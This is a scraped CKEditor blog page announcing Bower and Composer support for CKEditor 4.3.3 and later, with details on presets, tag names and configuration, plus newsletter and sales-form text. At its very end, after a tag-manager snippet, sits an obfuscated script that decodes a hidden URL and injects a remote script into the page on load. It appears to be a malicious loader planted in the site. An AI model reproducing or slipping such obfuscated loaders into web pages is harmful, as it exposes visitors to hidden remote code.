Report: 2024 State of Collaborative Editing

Get insights on the trends and future of collaboration in RTEs Download now

Read now

CKEditor Supports Bower and Composer

Did you know CKEditor 4 is now available on NPM and integrates well with modern JavaScript frameworks like React and Angular?

You can also discover our new awesome rich text editor, CKEditor 5. It also has integrations for React, Angular and Vue.js, plus more!

Since version 4.3.3 CKEditor supports two popular package managers, Bower and Composer. They can be used to install CKEditor releases and keep them up to date in the same way that you maintain other dependencies of your project.

Installed Preset

Both package managers will install the standard-all CKEditor preset that includes all official CKSource plugins with only those from the Standard installation package compiled into the ckeditor.js file and enabled. See here for a comparison of packages.

Additional plugins included in the standard-all preset can be enabled in your configuration by using the config.extraPlugins option.

Tag Changes

Please note that package managers compatibility also meant that the tags used in our ckeditor-releases repository have changed to follow the Semantic Versioning 2.0.0 format.

Since version 4.3.3 this repository uses the following tag naming rules:

  • x.y.z – contains the standard-all editor build, e.g. 4.3.3, 4.4.0, etc.
  • (basic|standard|full)/x.y.z – contains the editor build with a given preset, e.g. basic/4.3.3.

Custom Configuration & Updates

If you want to use any of the package managers to keep CKEditor up to date, your custom editor configuration should not be done in any of the core CKEditor files like config.js (otherwise you risk overwriting them during the update process).

It is thus recommended to use of the following strategies:

Both options are explained in more detail in the Setting CKEditor Configuration article.

Usage Instructions

Read the new Installing CKEditor with Package Managers article in CKEditor Developer's Guide to learn how to fetch CKEditor using Bower or Composer.

 

 

Related posts

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Input email to subscribe to newsletter

Your submission was blocked

This might be caused by a browser autofill add-on or another third party tool.
Please contact us directly via email at info@cksource.com

HiddenGatedContent.

Thanks for subscribing!

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

Form content fields

Form submit

Your submission was blocked

This might be caused by a browser autofill add-on or another third party tool.
Please contact us directly via email at info@cksource.com

HiddenGatedContent.
Hidden unused field.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });